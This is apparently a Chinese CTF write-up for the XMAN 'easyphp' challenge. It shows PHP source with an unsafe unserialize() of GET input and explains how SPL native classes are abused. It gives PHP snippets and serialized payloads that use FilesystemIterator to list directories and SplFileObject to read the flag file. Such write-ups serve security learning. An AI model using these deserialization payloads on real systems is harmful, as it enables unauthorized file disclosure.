[XMAN选拔赛] easyphp

麻了的一天,早上因为有事外出,以为选拔赛到下午六点才结束,中午一点回到家发现已经结束了,人都傻了,幸好环境没关,复现一下题目。
PHP原生类反序列化,DASCTF原题都没怎么改
看源码:

 <?php
error_reporting(0);
highlight_file(__FILE__);

class XMAN{
    public $class;
    public $para;
    public $check;
    public function __construct()
    {
        $this->class = "Hel";
        $this->para = "xctfer";
        echo new  $this->class ($this->para);
    }
    public function __wakeup()
    {
        $this->check = new Filter;
        if($this->check->vaild($this->para) && $this->check->vaild($this->class)) {
            echo new  $this->class ($this->para);
        }
        else
            die('what?Really?');
    }

}
class Hel{
    var $a;
    public function __construct($a)
    {
        $this->a = $a;
        echo ("Hello bro, I guess you are a lazy ".$this->a);
    }
}
class Filter{

    function vaild($code){
        $pattern = '/[!|@|#|$|%|^|&|*|=|\'|"|:|;|?]/i';
        if (preg_match($pattern, $code)){
            return false;
        }
        else
            return true;
    }
}


if(isset($_GET['xctf'])){
    unserialize($_GET['xctf']);
}
else{
    $a=new XMAN;

} 

大概看完整个代码发现没有可以直接利用的恶意类,之后关注到了这里:
echo new $this->class ($this->para);
我们可以控制类与参数的值,因而确定是一个PHP原生类的反序列化,进而只需要找到合适的原生类即可实现文件读取
这里就需要介绍一下SPL库了

顾名思义,SPL就是Standard PHP Library的缩写。据手册显示,SPL是用于解决典型问题(standard problems)的一组接口与类的集合。打开手册,正如上面的定义一样,有许多封装好的类。因为是要解决典型问题,免不了有一些处理文件的类。

因而我们可以在SPL库中找到一些有用的类:PHP 迭代器

一.可遍历目录类
DirectoryIterator
FilesystemIterator
GlobIterator 与上面略不同,该类可以通过模式匹配来寻找文件路径

二.可读取文件类
SplFileObject 在此函数中,URL 可作为文件名,不过也要受到allow_url_fopen影响。

三.文件系统相关扩展
finfo 该类的构造函数finfo::__construct — 别名 finfo_open(),也可以读取文件。

进而构造Payload:

<?php
class XMAN{
    public $class='FilesystemIterator';
    public $para="/var/www/html/";
    }
$a = new XMAN();
echo serialize($a);

得到O:4:"XMAN":2:{s:5:"class";s:18:"FilesystemIterator";s:4:"para";s:14:"/var/www/html/";}
发现目录: xxxXXXmMManNNn

再检索该目录下的文件:O:4:"XMAN":2:{s:5:"class";s:18:"FilesystemIterator";s:4:"para";s:28:"/var/www/html/xxxXXXmMManNNn";}
得到f1a4.php,接下来我们利用SplFileObject类读取该文件即可:

<?php
class XMAN{
    public $class='SplFileObject';
    public $para="/var/www/html/xxxXXXmMManNNn/f1a4.php";
    }
$a = new XMAN();
echo serialize($a);

得到flag

更多关于PHP原生类反序列化的内容可以参考:
从一道CTF练习题浅谈php原生文件操作类
[DASCTF]ez_serialize-PHP 原生类的利用

posted @ 2021-08-06 15:07  Ye'sBlog  阅读(235)  评论(0编辑  收藏  举报